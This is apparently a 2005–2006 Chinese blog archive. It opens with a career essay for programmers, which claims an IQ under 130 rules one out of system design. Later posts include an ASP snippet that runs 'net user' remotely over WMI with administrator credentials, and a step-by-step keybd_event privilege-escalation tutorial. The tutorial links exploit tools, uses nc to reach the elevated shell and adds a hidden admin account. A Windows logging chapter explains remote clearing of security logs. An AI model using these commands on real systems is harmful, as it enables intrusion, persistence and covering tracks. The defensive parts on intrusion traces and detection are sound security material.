你要是运气好,直接进入了一个严格规范生产的软件企业就业,刚开始就应该是按别人做好的软件设计来实现编程,你可以有机会直接学习软件设计,当你积累的足够多了,能够对其中的一些设计提出好的改进建议,而且干得又快又好,就会渐渐地展露头角,我相信你终有一天成为一名软件设计人员(注意,不是软件产品设计人员),步入系统分析员的行列,但这还需其它的一些条件和自我修炼。如果你在一个不规范的软件企业工作,那也不错,你很可能直接就有机会进行软件设计,然后开发、测试,甚至还不得不自己定义需求,把软件开发过程的各个环节走一个遍,当然这样对你的要求更高,而且你也不容易得到及时有益的指点,在正态分布的情况下,你应该是成长的很慢。但不管就业的单位如何,如果你决心要成为顶尖软件职业选手,通常什么客观困难都阻挡不了你,然而你个人的因素可能会阻止你的前进。下面提出的观点纯属一己之见,伤人自尊之处作者在此提前道歉,并建议你除非对本文有强烈的兴趣,否则就请直接看第五节或放下别看了。丑话已说在前头了,在各种软件开发组织的发展过程中的事实也证明,只有少数程序员能成为系统分析员,我想这一点不是我杜撰的吧,因此你要是在看接下来的部分时感到气愤难当,那也实在没着,纯属活该,因为作者只是在说明自己的观点而已,你最多可以呲之以鼻,表示一下你的轻蔑好了,但没有任何理由可以骂人!

作自己没有到微软面试过,但身处软件行业,关于微软的许多东东当然还是有耳闻的,据说微软招聘一名程序员要过五个已经成为微软程序员的面试关,而且是一票否决制,又据说大多数面试题并非编程,而是一些有关逻辑和智力的题,作者私下也做过许多流传的微软面试题,并对此做法深以为然。程序的本质就是逻辑,所以几十年前就有人提出编程是一门艺术,而艺术是要靠天份的,这一点少有人反对。一个人的逻辑能力可以不断提高,但其能到达的终极逻辑能力的层次必定为其天生智力所限制,这一点就让人不易接受了。好笑啊!人们可以公开承认自己没有某种或全部的艺术天份,但要说自己逻辑天份不够,换句话说承认自己笨、IQ不够高,往往是要怒发冲冠的,其实这又有什么区别呢?话都说到这儿了,再次建议你如果不够自信,就跳过这一节吧,直接看第五节,好吗?

好了,把话题说回来,你已经成为一门合格的职业程序员了,如果要想成为从事软件系统设计的职业系统分析员,第一件事就是悄悄找一个标准智商测试的网站或其它渠道,严格认真的测一测自己的智商,如果IQ低于130 (正常智商是110),就请别费劲了,打消掉成为系统分析员的念头吧!好!好!先请你冷静一下,好好想想,其实微软面试时就是在测你的智商和逻辑数学素质呢,这就是本节的标题为“天生神力”的原因,因为设计就是从无到有地进行创造,无论是软件还是其它行业都一样,可以有借鉴的,没有现成的,设计就是创造!如果你IQ在130以上,又决心要当一名职业软件系统分析员,其实你不过是要准备好吃更大的苦而已,有什么好虚荣的呢?

修炼还是从基本功开始的,过程和成为一名职业程序员差不多。必须使用设计工具这一点是不用多说的。在工作中,你基本上遇到的是两类方式的设计,一个是结构化设计,另一个是面向对象设计,就个人经验而言,面向对象的设计更好。如果你工作中不得不采用结构化的设计,你必须熟练地掌握数据流图和控制流图的分析和设计,一般来讲,如果你把一个软件中用到的数据模型设计好了,针对功能化的流程,不难设计出数据流图,但下一步设计控制流图才是挑战,如果你按照需求走不通设计好的控制流图,那么你或别人在按照这个设计编程实现时,必定也走不通,没有奇迹会发生,还是在设计阶段严格要求吧,又有一点需要牢记:返工是最慢的。当你在进行控制流图的设计时,也不要妄想得到需求人员提供给你明确的指点,通常他们要是能够把需求的功能和操作次序写完整的话,你应该就感恩戴德了,从需求中整理出功能、操作的拓扑次序和条件是你作为系统分析员的职责。看看,要是没有一点图论的基础和拓扑学的入门知识,你是当不好一个职业系统分析员的,即使你天赋不错,必要的数学和逻辑素质仍然不可或缺。也不用气馁,永远没有最好的设计,只有更好的设计,反复地进行设计迭代,勇于推翻旧的设计,你将快速进步。如果你在工作中是采用面向对象进行设计的,那就更有利了,有关面向对象设计的书太多了,不用作者在此多费口舌,建议精读一本经典的书,比如北大邵维忠等编译的《面向对象的分析》,有些方法和技巧可能过时,但其逻辑的基本原理是非常正确的,其本质是,你在逻辑上是如何认识这个世界的,你就是如何设计软件体系结构的,然后读读其它书,触类旁通,自己创造机会多实践,成功自然会到来的,总之,不管是结构化设计还是面向对象设计,评价一下自己的软件系统设计方案吧,有好多指标呢,比如是否均匀和平衡?局部独立性强不强?有没有歧异的结构?有没有层次太多或太少?有没有某个层次太大、太广?是不是逻辑结构先复杂了再化简的?还是只会设计简单的,复杂不起来(这一点是笨哦,如果出现多次,请你不要意气用事,转行吧)?最重要的一点,是否容易理解、实现和改进?你自己会得出评价的。如果有机会看到别人的设计,一定不要错过学习的机会,自己推导一遍,认真比较比较,获益会较多。

走到这一步,你就应该关注设计模式了,首先还是学习,这方面的好书有的是,但一般在工作中用到的设计模式较为单一,应该多尝试一下其它的设计模式。其次必须要明白设计模式不是设计思路,也不能代替设计思路,比方你要从A到B修一条路,设计模式只是让你选择,是修水泥的还是柏油的?是高架路还是普通的,但线路必须你自己定,而线路就是设计思路,模式对思路是有影响,但不能代替,所以如果你的智商高达250,我相信你直接用汇编语言也能写出面向对象的程序来。第三在此有一个陷阱,很多系统分析员生搬硬套设计模式,全然不懂如何融会贯通,在你的一项具体工作中,往往是以一种设计模式为主,其它模式为辅的,思维不拘泥于形式才是关键,而且也为你到达更高的软件设计的境界做好准备。

唉!都不知该怎么向下写好了,因为已达到作者水平的极限了,我胡乱说一点,你凑合看吧。软件设计最终的层次是:以无法为有法、以无限为有限,这句话是李小龙说的,不是我说的。再拾人牙慧一把,类比一个故事吧,金大侠在《倚天屠龙记》里讲到张无忌初学太极,学会的标志是把刚学的招数全忘了,记住的是太极的道理和精神,和李小龙有些相似喔,软件设计也一样,忘记所有的设计模式,随心所欲进行设计才是至高境界,所以你能到达多高的软件设计的境界最终将取决于你的哲学素质,这一点实在是不好写啊,你自己领悟吧!作者只有祝福了!

五、职业人的终极目标:全面修炼,成为Leader

这一节更不好写,涉及到太多其它非技术方面的因素,特别是个人人生观和世界观的修炼,如果本帖的点击率超过作者私下期望的一个数值,那我就争取尽力厚着脸皮再补上吧。我只说一句,虽然大家都知道软件开发是一个团队性的工作,但追求参与一个大型软件系统的成功开发,是一名软件人员的本能,就像拿破仑说的不想当元帅的士兵不是好士兵,所以不追求实现大系统的软件人员,也不是一个好的职业软件人员,但你只有成为Leader,领导一个优秀的软件开发团队,才有机会实现这个终极职业目标,对不对?

好吧,不管你现在的感受如何,我都谢谢你能读到这里!我不习惯假歉虚,就不说什么作者水平有限,本文抛砖引玉,欢迎大家批评斧正之类的客套话了,虽然作者水平确实有限。所以我认为你尽管有权砸砖,但实在没必要搞回帖、或回骂、或顶之类的玩意儿,我只是尽兴写一点多年从事软件开发工作的体验,因此接下来我就高挂免战牌,不回复任何回帖了。再次谢谢你能有耐心读到这里!希望本文对你有所裨益,祝你成功!再见!

- 作者: haicao 2006年02月8日, 星期三 10:09  回复(1) |  引用(1) 加入博采

利用xml远程执行命令

<%

'by xiaolu
set ww=server.createobject("wbemscripting.swbemlocator")
set cc=ww.connectserver("192.168.2.1","root/cimv2","administrator","xiaolu")
set ss=cc.get("Win32_ProcessStartup")
Set oC=ss.SpawnInstance_
oC.ShowWindow=12
Set pp=cc.get("Win32_Process")
Response.Write pp.create("net user",null,oC,intProcessID)
Response.Write "<br>"&intProcessID
Response.end
%>

- 作者: haicao 2006年01月16日, 星期一 08:20  回复(0) |  引用(1) 加入博采

溢出键盘程序漏洞 得到管理员权限


没有任何一台电脑是安全的,没有一条安全防线是无法攻破的。我们要做的就是利用一切资源进行入侵。在这里你可以看到最激动人心的入侵实录,可以学到最实用的入侵技巧。这里是所有入侵爱好者的乐园。但是记住哟,入侵是为了更好地防御。网络安全需要我们大家来维护。
  通过“鼠洞”控制你的电脑

  夜黑风高,一个黑色的身影窜入了一间电脑机房。熟练地打开了一台保存有重要数据的电脑。可是这个电脑里面的数据已经进行了加密,要获得这些数据必须是管理员账户才行。黑影不屑地笑了笑,利用一个已知的普通权限账户进入系统。在Microsoft Windows键盘事件权限提升漏洞的“帮助”下,轻松获得管理员权限盗得数据。随后离开机房,身影隐入无边黑暗中。

  发现新漏洞

  因为设计缺陷,Windows桌面应用程序处理通过keybd_event() function函数发送的键盘事件时存在溢出错误,攻击者可以通过向以更高权限运行的桌面应用程序(如explorer.exe)发送恶意的键盘事件,使用管理员权限执行任意代码。这一漏洞可以使一个普通用户权限的账户使用管理员权限对系统进行任意操作。该漏洞影响的系统:Windows 2000,Windows XP,Windows2003。

  准备好入侵工具

  pulist:一款进程PID查看器,可以在命令提示符下查看当前系统进程的PID值。

  keybd:键盘事件权限提升漏洞的溢出工具,通过它可以取得系统管理员权限。

  nc:黑客入侵的“瑞士军刀”,系统端口监听利器,功能相当强大。

  以上工具下载地址
http://www.eviloctal.com/forum/read.php?tid=4538&fpage=1&toread=1

入侵过程

  一、获得进程PID值

  根据漏洞特点,我们需要获取一个桌面应用程序(如explorer.exe)的进程PID值。在系统的“任务管理器”中,我们是看不到进程的PID值的,所以我们需要借助一款可以查看系统进程PID值的小工具——pulist。在“命令提示符”中运行“pulist.exe”,即可显示当前系统进程的PID值,我们在其中找到“explorer.exe”进程的PID,这里是“1716”(如图)。
[attachment=3091]
  小知识:进程的PID值指的是代表各进程的ID值。PID就是对各进程的身份标志,每个进程都有自己唯一的PID值。

  二、提升账户权限

  信息收集完毕,我们使用一个名为“888”的普通用户权限账户进行漏洞测试。我们运行“命令提示符”,输入“runas /user:888 cmd.exe”这个命令的意思是以用户“888”的权限运行一个命令提示符窗口,回车后系统会出现一个新的命令提示符窗口,其窗口标题为“cmd.exe(运行为888)”。这个命令提示符中我们的权限只是普通用户级别的,很多操作不能进行,例如添加删除用户等。当试图用该账户进行用户的添加删除操作时将会出现错误。

  将下载回来的漏洞利用程序keybd解压到某个目录中,例如“c:\”。此外我们还要用到远程监听工具nc,将它与keybd放在同一目录中。在命令提示符中进入keybd所在的文件夹,输入命令 “keybd.exe 1716”。回车,这时系统会跳出一个新的命令提示符窗口,表示keybd.exe已经溢出成功。

  小提示:溢出时要保证系统的默认输入法为“英文”,否则将会使溢出失败。

  溢出成功后,就该nc出马了。在命令提示符中进入nc所在的目录,然后输入“nc -vv localhost 65535”,回车后便出现了欢迎界面。这表示888账户已经获得管理员权限。我们接着输入“net user piao 123456 /add”新建一个账户名为piao,密码为123456的用户。然后输入“net localgroup administrators piao /add”,将账户piao加入系统的管理员组。这两个只有管理员权限才可以执行的命令都可以成功完成,入侵成功。

  小提示:我们获取的管理员权限依赖于执行“keybd.exe”后弹出的命令提示符窗口,如果把这个弹出的命令提示符窗口关闭,以888账户运行的命令提示符会立刻回到普通用户权限,所以在执行命令的时候一定不可以将之关闭。

  危害虽小,仍须防范

  由于该漏洞是因为本地系统设计上的缺陷造成的,所以只能用于本地用户的权限提升,而且必须是本地登录的用户。但是不管漏洞如何之小,存在肯定会对系统造成严重的安全隐患,我们还是要修复漏洞,以防别有用心之人。

  要利用漏洞就需要使用到“命令提示符”,我们可以通过限制“命令提示符”的运行权限使攻击者无从下手。首先在资源管理器中点击“工具”按钮,选择“文件夹选项”,切换到“查看”标签,去掉“使用简单文件共享(推荐)”前面的钩,这一步是为了让文件的属性菜单中显示“安全”标签。然后我们进入“c:\windows\system32\”,找到“cmd.exe”,点右键选择“属性”,切换到“安全”标签,将其中“组或用户名称”中除了管理员外的所有用户都删除,完成后点“确定”,这样当普通用户想运行“命令提示符”的时候将会出现“拒绝访问”的警告框。

- 作者: haicao 2005年12月28日, 星期三 18:32  回复(0) |  引用(1) 加入博采

分析进入Win2000后留下的足迹
很多人对入侵Win2000系统很喜欢的吧,又有3389这样的界面型远程控制,还有这么多漏洞可以利用,而且关于入侵Win2000的文章又到处都是,方便啊。 不过,你知道,你到底留下了哪些足迹在系统中么?最近作了个入侵分析,发现了不少东西,当然,估计到入侵时间然后在查找文件就列出来了。我们在这里不分析来自FTP、HTTP的日志记录,因为这样来的入侵行为分析和防范比较容易,而通过帐号密码猜测进来的防范起来是比较麻烦的(安全配置相当OK的另说)。 1、系统的日志记录。 好的管理员应该尽可能地记录可以记录的东西,在本地安全策略中,对审核策略进行足够多的记录,你能发现,如果把所有的审核都选定的话(只要你不嫌多),一个帐号进行的操作访问的整个过程都能够完整记录下来了,一点不漏。 事件查看器里记录的内容是最多的了,从安全日志里面可以查看所有审核的事件。 我们看看一个帐号的登录/注销事件的记录: 会话从 winstation 中断连接: 用户名: guest 域: Refdom 登录 ID: (0x0,0x28445D9) 会话名称: Unknown 客户端名: GUDULOVER 客户端地址: 202.103.117.94 这是一个3389登录的事件,系统记录下了IP地址,机器名称以及使用的用户名。还是很齐全的吧。 这是一个详细追踪的记录: 已经创建新的过程: 新的过程 ID: 4269918848 映象文件名: \WINNT\system32\CMD.EXE 创建者过程 ID: 2168673888 用户名: Refdom$ 域: Refdom 登录 ID: (0x0,0x3E7) 这是使用localsystem来运行了cmd.exe的记录,呵呵,用本地系统帐号运行cmd.exe不是用net user还是什么(当然还能做很多事情)。 小心自己的日志记录太多,日志空间使用满,这样WIN就不再记录新的事件了,请在日志属性中选择按需要改写日志,这样可以记录新的事件,不过可能把需要分析的事件给改写了。 可惜的是,这里的记录实在是太显眼了,多半存活不了。 2、足够多的痕迹留在“Documents and Settings”目录里面 这个目录是所有帐号的足迹存放地,当然,从3389或者本机进入使用图形界面就会留下帐号目录来。我们来看看一个帐号的“Documents and Settings”目录里面有什么东西吧,首先查看所有文件和文件夹,不要隐藏任何东西。 “「开始」菜单”:当然是存放帐号自己的“开始”中的东西,这个里面的“启动”是个比较好东西哦。 “Application Data”:一些应用程序留下的数据啊、备份啊什么的东西,分析用处不怎么大。 “Cookies”:如果入侵者通过3389进来,还去浏览了网页,那这里就存放着足够多的Cookie,让你能够知道他到底去了哪些地方。 “Local Settings”,这里也是一些临时数据的存放地,还有就是IE的脱机东东。说不定能发现很多好网站哦。 “Recent”:这个文件夹是隐藏的,不过里面存放的东西实在太多了,帐号访问的目录、文件一个一个都记录在案。使用了哪些东西,看了哪些文件,都能知道得清清楚楚。 “Templates”:存放临时文件的地方。 3、从黑客工具看 被人入侵了,那他一定会想办法获得administrator权限,得到了这个权限他就能为所欲为了,按照各种介绍的入侵教材,当然是放置其他扫描器做肉鸡、安装后门、删除日志……呵呵,这些扫描器都有足够的日志可以提供分析,还能帮自己白白收集一些肉鸡。而且从这些工具的日志(配置文件)里面也可以看出入侵者的意图以及水平等等。 也好,那流光来说吧,每次扫描的结果都写下来了,大家都可以看,不看白不看。 被安装后门、代理跳板(不是多级)是最好的了,谁能远程控制你做什么呢?我们当然可以从后门程序抓住入侵者的来历,从哪里传过来的连接,用嗅叹器就是了,当然,你甚至可以用一个非常有意思的文件名来伪装自己的木马,让他当回去使用,想玩大家一起玩啊。当然,从另外的3389肉鸡这样的控制来的入侵者还是只找到的他的肉鸡而已。(冒险,把他的肉鸡也搞定吧)

- 作者: haicao 2005年12月28日, 星期三 08:53  回复(0) |  引用(1) 加入博采

Windows日志与入侵检测
系统日志源自航海日志:当人们出海远行的时候,总是要做好航海日志,以便为以后的工作做出依据。日志文件作为微软Windows系列操作系统中的一个比较特殊的文件,在安全方面具有无可替代的价值。日志每天为我们忠实的记录着系统所发生一切,利用系统日志文件,可以使系统管理员快速对潜在的系统入侵作出记录和预测,但遗憾的是目前绝大多数的人都忽略了它的存在。反而是因为黑客们光临才会使我们想起这个重要的系统日志文件。

7.1 日志文件的特殊性

要了解日志文件,首先就要从它的特殊性讲起,说它特殊是因为这个文件由系统管理,并加以保护,一般情况下普通用户不能随意更改。我们不能用针对普通TXT文件的编辑方法来编辑它。例如WPS系列、Word系列、写字板、Edit等等,都奈何它不得。我们甚至不能对它进行“重命名”或“删除”、“移动”操作,否则系统就会很不客气告诉你:访问被拒绝。当然,在纯DOS的状态下,可以对它进行一些常规操作(例如Win98状态下),但是你很快就会发现,你的修改根本就无济于事,当重新启动Windows 98时,系统将会自动检查这个特殊的文本文件,若不存在就会自动产生一个;若存在的话,将向该文本追加日志记录。

7.1.1 黑客为什么会对日志文件感兴趣

黑客们在获得服务器的系统管理员权限之后就可以随意破坏系统上的文件了,包括日志文件。但是这一切都将被系统日志所记录下来,所以黑客们想要隐藏自己的入侵踪迹,就必须对日志进行修改。最简单的方法就是删除系统日志文件,但这样做一般都是初级黑客所为,真正的高级黑客们总是用修改日志的方法来防止系统管理员追踪到自己,网络上有很多专门进行此类功能的程序,例如Zap、Wipe等。

7.1.2 Windows系列日志系统简介

1.Windows 98的日志文件

因目前绝大多数的用户还是使用的操作系统是Windows 98,所以本节先从Windows 98的日志文件讲起。Windows 98下的普通用户无需使用系统日志,除非有特殊用途,例如,利用Windows 98建立个人Web服务器时,就会需要启用系统日志来作为服务器安全方面的参考,当已利用Windows 98建立个人Web服务器的用户,可以进行下列操作来启用日志功能。

(1)在“控制面板”中双击“个人Web服务器”图标;(必须已经在配置好相关的网络协议,并添加“个人Web服务器”的情况下)。

(2)在“管理”选项卡中单击“管理”按钮;   

(3)在“Internet服务管理员”页中单击“WWW管理”;   

(4)在“WWW管理”页中单击“日志”选项卡;   

(5)选中“启用日志”复选框,并根据需要进行更改。 将日志文件命名为“Inetserver_event.log”。如果“日志”选项卡中没有指定日志文件的目录,则文件将被保存在Windows文件夹中。

普通用户可以在Windows 98的系统文件夹中找到日志文件schedlog.txt。我们可以通过以下几种方法找到它。在“开始”/“查找”中查找到它,或是启动“任务计划程序”,在“高级”菜单中单击“查看日志”来查看到它。Windows 98的普通用户的日志文件很简单,只是记录了一些预先设定的任务运行过程,相对于作为服务器的NT操作系统,真正的黑客们很少对Windows 98发生兴趣。所以Windows 98下的日志不为人们所重视。

2.Windows NT下的日志系统

Windows NT是目前受到攻击较多的操作系统,在Windows NT中,日志文件几乎对系统中的每一项事务都要做一定程度上的审计。Windows NT的日志文件一般分为三类:

系统日志 :跟踪各种各样的系统事件,记录由 Windows NT 的系统组件产生的事件。例如,在启动过程加载驱动程序错误或其它系统组件的失败记录在系统日志中。

应用程序日志:记录由应用程序或系统程序产生的事件,比如应用程序产生的装载dll(动态链接库)失败的信息将出现在日志中。

安全日志 :记录登录上网、下网、改变访问权限以及系统启动和关闭等事件以及与创建、打开或删除文件等资源使用相关联的事件。利用系统的“事件管理器”可以指定在安全日志中记录需要记录的事件,安全日志的默认状态是关闭的。

Windows NT的日志系统通常放在下面的位置,根据操作系统的不同略有变化。

C:\systemroot\system32\config\sysevent.evt

C:\systemroot\system32\config\secevent.evt

C:\systemroot\system32\config\appevent.evt

Windows NT使用了一种特殊的格式存放它的日志文件,这种格式的文件可以被事件查看器读取,事件查看器可以在“控制面板”中找到,系统管理员可以使用事件查看器选择要查看的日志条目,查看条件包括类别、用户和消息类型。

3.Windows 2000的日志系统

与Windows NT一样,Windows 2000中也一样使用“事件查看器”来管理日志系统,也同样需要用系统管理员身份进入系统后方可进行操作,如图7-1所示。

图7-1

在Windows 2000中,日志文件的类型比较多,通常有应用程序日志,安全日志、系统日志、DNS服务器日志、FTP日志、WWW日志等等,可能会根据服务器所开启的服务不同而略有变化。启动Windows 2000时,事件日志服务会自动启动,所有用户都可以查看“应用程序日志”,但是只有系统管理员才能访问“安全日志”和“系统日志”。系统默认的情况下会关闭“安全日志”,但我们可以使用“组策略”来启用“安全日志”开始记录。安全日志一旦开启,就会无限制的记录下去,直到装满时停止运行。

Windows 2000日志文件默认位置:

应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%\sys tem32\config,默认文件大小512KB,但有经验的系统管理员往往都会改变这个默认大小。

安全日志文件:c:\sys temroot\sys tem32\config\SecEvent.EVT

系统日志文件:c:\sys temroot\sys tem32\config\SysEvent.EVT

应用程序日志文件:c:\sys temroot\sys tem32\config\AppEvent.EVT

Internet信息服务FTP日志默认位置:c:\systemroot\sys tem32\logfiles\msftpsvc1\。

Internet信息服务WWW日志默认位置:c:\systemroot\sys tem32\logfiles\w3svc1\。

Scheduler服务器日志默认位置:c:\systemroot\schedlgu.txt 。该日志记录了访问者的IP,访问的时间及请求访问的内容。

因Windows2000延续了NT的日志文件,并在其基础上又增加了FTP和WWW日志,故本节对FTP日志和WWW日志作一个简单的讲述。FTP日志以文本形式的文件详细地记录了以FTP方式上传文件的文件、来源、文件名等等。不过由于该日志太明显,所以高级黑客们根本不会用这种方法来传文件,取而代之的是使用RCP。FTP日志文件和WWW日志文件产生的日志一般在c:\sys temroot\system32\LogFiles\W3SVC1目录下,默认是每天一个日志文件,

FTP和WWW日志可以删除,但是FTP日志所记录的一切还是会系统日志和安全日志里记录下来,如果用户需要尝试删除这些文件,通过一些并不算太复杂的方法,例如首先停止某些服务,然后就可以将该日志文件删除。具体方法本节略。

Windows 2000中提供了一个叫做安全日志分析器(CyberSafe Log Analyst,CLA)的工具,有很强的日志管理功能,它可以使用户不必在让人眼花缭乱的日志中慢慢寻找某条记录,而是通过分类的方式将各种事件整理好,让用户能迅速找到所需要的条目。它的另一个突出特点是能够对整个网络环境中多个系统的各种活动同时进行分析,避免了一个个单独去分析的麻烦。

4.Windows XP日志文件

说Windows XP的日志文件,就要先说说Internet连接防火墙(ICF)的日志,ICF的日志可以分为两类:一类是ICF审核通过的IP数据包,而一类是ICF抛弃的IP数据包。日志一般存于Windows目录之下,文件名是pfirewall.log。其文件格式符合W3C扩展日志文件格式(W3C Extended Log File Format),分为两部分,分别是文件头(Head Information)和文件主体(Body Information)。文件头主要是关于Pfirewall.log这个文件的说明,需要注意的主要是文件主体部分。文件主体部分记录有每一个成功通过ICF审核或者被ICF所抛弃的IP数据包的信息,包括源地址、目的地址、端口、时间、协议以及其他一些信息。理解这些信息需要较多的TCP/IP协议的知识。ICF生成安全日志时使用的格式是W3C扩展日志文件格式,这与在常用日志分析工具中使用的格式类似。 当我们在WindowsXP的“控制面板”中,打开事件查看器,如图7-2所示。

就可以看到WindowsXP中同样也有着系统日志、安全日志和应用日志三种常见的日志文件,当你单击其中任一文件时,就可以看见日志文件中的一些记录,如图7-3所示。

图7-2 图7-3

在高级设备中,我们还可以进行一些日志的文件存放地址、大小限制及一些相关操作,如图7-4所示。

图7-4

若要启用对不成功的连接尝试的记录,请选中“记录丢弃的数据包”复选框,否则禁用。另外,我们还可以用金山网镖等工具软件将“安全日志”导出和被删除。

5.日志分析

当日志每天都忠实的为用户记录着系统所发生的一切的时候,用户同样也需要经常规范管理日志,但是庞大的日志记录却又令用户茫然失措,此时,我们就会需要使用工具对日志进行分析、汇总,日志分析可以帮助用户从日志记录中获取有用的信息,以便用户可以针对不同的情况采取必要的措施。

7.2 系统日志的删除

因操作系统的不同,所以日志的删除方法也略有变化,本文从Windows 98和Windows 2000两种有明显区别的操作系统来讲述日志的删除。

7.2.1 Windows 98下的日志删除

在纯DOS下启动计算机,用一些常用的修改或删除命令就可以消除Windows 98日志记录。当重新启动Windows98后,系统会检查日志文件的存在,如果发现日志文件不存在,系统将自动重建一个,但原有的日志文件将全部被消除。

7.2.2 Windows 2000的日志删除

Windows 2000的日志可就比Windows 98复杂得多了,我们知道,日志是由系统来管理、保护的,一般情况下是禁止删除或修改,而且它还与注册表密切相关。在Windows 2000中删除日志首先要取得系统管理员权限,因为安全日志和系统日志必须由系统管理员方可查看,然后才可以删除它们。

我们将针对应用程序日志,安全日志、系统日志、DNS服务器日志、FTP日志、WWW日志的删除做一个简单的讲解。要删除日志文件,就必须停止系统对日志文件的保护功能。我们可以使用命令语句来删除除了安全日志和系统日志外的日志文件,但安全日志就必须要使用系统中的“事件查看器”来控制它,打开“控制面板”的“管理工具”中的“事件查看器”。在菜单的“操作”项有一个名为“连接到另一台计算机”的菜单,点击它如图7-5所示。

图7-5

输入远程计算机的IP,然后需要等待,选择远程计算机的安全性日志,点击属性里的“清除日志”按钮即可。

7.3 发现入侵踪迹

如何当入侵者企图或已经进行系统的时候,及时有效的发现踪迹是目前防范入侵的热门话题之一。发现入侵踪迹的前题就是应该有一个入侵特征数据库,我们一般使用系统日志、防火墙、检查IP报头(IP header)的来源地址、检测Email的安全性以及使用入侵检测系统(IDS)等来判断是否有入侵迹象。

我们先来学习一下如何利用端口的常识来判断是否有入侵迹象:

电脑在安装以后,如果不加以调整,其默认开放的端口号是139,如果不开放其它端口的话,黑客正常情况下是无法进入系统的。如果平常系统经常进行病毒检查的话,而突然间电脑上网的时候会感到有反应缓慢、鼠标不听使唤、蓝屏、系统死机及其它种种不正常的情况,我们就可以判断有黑客利用电子信件或其它方法在系统中植入的特洛伊木马。此时,我们就可以采取一些方法来清除它,具体方法在本书的相关章节可以查阅。

7.3.1 遭受入侵时的迹象

入侵总是按照一定的步骤在进行,有经验的系统管理员完全可以通过观察到系统是否出现异常现象来判断入侵的程度。

1.扫描迹象

当系统收到连续、反复的端口连接请求时,就可能意味着入侵者正在使用端口扫描器对系统进行外部扫描。高级黑客们可能会用秘密扫描工具来躲避检测,但实际上有经验的系统管理员还是可以通过多种迹象来判断一切。

2.利用攻击

当入侵者使用各种程序对系统进行入侵时,系统可能报告出一些异常情况,并给出相关文件(IDS常用的处理方法),当入侵者入侵成功后,系统总会留下或多或少的破坏和非正常访问迹象,这时就应该发现系统可能已遭遇入侵。

3.DoS或DDoS攻击迹象

这是当前入侵者比较常用的攻击方法,所以当系统性能突然间发生严重下降或完全停止工作时,应该立即意识到,有可能系统正在遭受拒绝服务攻击,一般的迹象是CPU占用率接近90%以上,网络流量缓慢、系统出现蓝屏、频繁重新启动等。

7.3.2 合理使用系统日志做入侵检测

系统日志的作用和重要性大家通过上几节的讲述,相信明白了不少,但是虽然系统自带的日志完全可以告诉我们系统发生的任何事情,然而,由于日志记录增加得太快了,最终使日志只能成为浪费大量磁盘空间的垃圾,所以日志并不是可以无限制的使用,合理、规范的进行日志管理是使用日志的一个好方法,有经验的系统管理员就会利用一些日志审核工具、过滤日志记录工具,解决这个问题。

要最大程度的将日志文件利用起来,就必须先制定管理计划。

1.指定日志做哪些记录工作?

2.制定可以得到这些记录详细资料的触发器。

7.3.3 一个比较优秀的日志管理软件

要想迅速的从繁多的日志文件记录中查找到入侵信息,就要使用一些专业的日志管理工具。Surfstats Log Analyzer4.6就是这么一款专业的日志管理工具。网络管理员通过它可以清楚的分析“log”文件,从中看出网站目前的状况,并可以从该软件的“报告”中,看出有多少人来过你的网站、从哪里来、在系统中大量地使用了哪些搜寻字眼,从而帮你准确地了解网站状况。

这个软件最主要的功能有:

1、整合了查阅及输出功能,并可以定期用屏幕、文件、FTP或E-mail的方式输出结果;

2.可以提供30多种汇总的资料;

3.能自动侦测文件格式,并支持多种通用的log文件格式,如MS IIS的W3 Extended log格式;

4.在“密码保护”的目录里,增加认证(Authenticated)使用者的分析报告;

5.可按每小时、每星期、或每月的模式来分析;

6.DNS资料库会储存解析(Resolved)的IP地址;

7.每个分析的画面都可以设定不同的背景、字型、颜色。

发现入侵踪迹的方法很多,如入侵检测系统IDS就可以很好的做到这点。下一节我们将讲解详细的讲解入侵检测系统。

7.4 做好系统入侵检测

7.4.1 什么是入侵检测系统

在人们越来越多和网络亲密接触的同时,被动的防御已经不能保证系统的安全,针对日益繁多的网络入侵事件,我们需要在使用防火墙的基础上选用一种协助防火墙进行防患于未然的工具,这种工具要求能对潜在的入侵行为作出实时判断和记录,并能在一定程度上抗击网络入侵,扩展系统管理员的安全管理能力,保证系统的绝对安全性。使系统的防范功能大大增强,甚至在入侵行为已经被证实的情况下,能自动切断网络连接,保护主机的绝对安全。在这种情形下,入侵检测系统IDS(Intrusion Detection System)应运而生了。入侵检测系统是基于多年对网络安全防范技术和黑客入侵技术的研究而开发的网络安全产品

它能够实时监控网络传输,自动检测可疑行为,分析来自网络外部入侵信号和内部的非法活动,在系统受到危害前发出警告,对攻击作出实时的响应,并提供补救措施,最大程度地保障系统安全。

NestWatch

这是一款运行于Windows NT的日志管理软件,它可以从服务器和防火墙中导入日志文件,并能以HTML的方式为系统管理员提供报告。

7.4.2 入侵检测系统和日志的差异

系统本身自带的日志功能可以自动记录入侵者的入侵行为,但它不能完善地做好入侵迹象分析记录工作,而且不能准确地将正常的服务请求和恶意的入侵行为区分开。例如,当入侵者对主机进行CGI扫描时,系统安全日志能提供给系统管理员的分析数据少得可怜,几乎全无帮助,而且安全日志文件本身的日益庞大的特性,使系统管理员很难在短时间内利用工具找到一些攻击后所遗留下的痕迹。入侵检测系统就充分的将这一点做的很好,利用入侵检测系统提供的报告数据,系统管理员将十分轻松的知晓入侵者的某些入侵企图,并能及时做好防范措施。

7.4.3 入侵检测系统的分类

目前入侵检测系统根据功能方面,可以分为四类:

1.系统完整性校验系统(SIV)

SIV可以自动判断系统是否有被黑客入侵迹象,并能检查是否被系统入侵者更改了系统文件,以及是留有后门(黑客们为了下一次光顾主机留下的),监视针对系统的活动(用户的命令、登录/退出过程,使用的数据等等),这类软件一般由系统管理员控制。

2.网络入侵检测系统(NIDS)

NIDS可以实时的对网络的数据包进行检测,及时发现端口是否有黑客扫描的迹象。监视计算机网络上发生的事件,然后对其进行安全分析,以此来判断入侵企图;分布式IDS通过分布于各个节点的传感器或者代理对整个网络和主机环境进行监视,中心监视平台收集来自各个节点的信息监视这个网络流动的数据和入侵企图。

3.日志分析系统(LFM)

日志分析系统对于系统管理员进行系统安全防范来说,非常重要,因为日志记录了系统每天发生的各种各样的事情,用户可以通过日志记录来检查错误发生的原因,或者受到攻击时攻击者留下的痕迹。日志分析系统的主要功能有:审计和监测、追踪侵入者等。日志文件也会因大量的记录而导致系统管理员用一些专业的工具对日志或者报警文件进行分析。此时,日志分析系统就可以起作用了,它帮助系统管理员从日志中获取有用的信息,使管理员可以针对攻击威胁采取必要措施。

4.欺骗系统(DS)

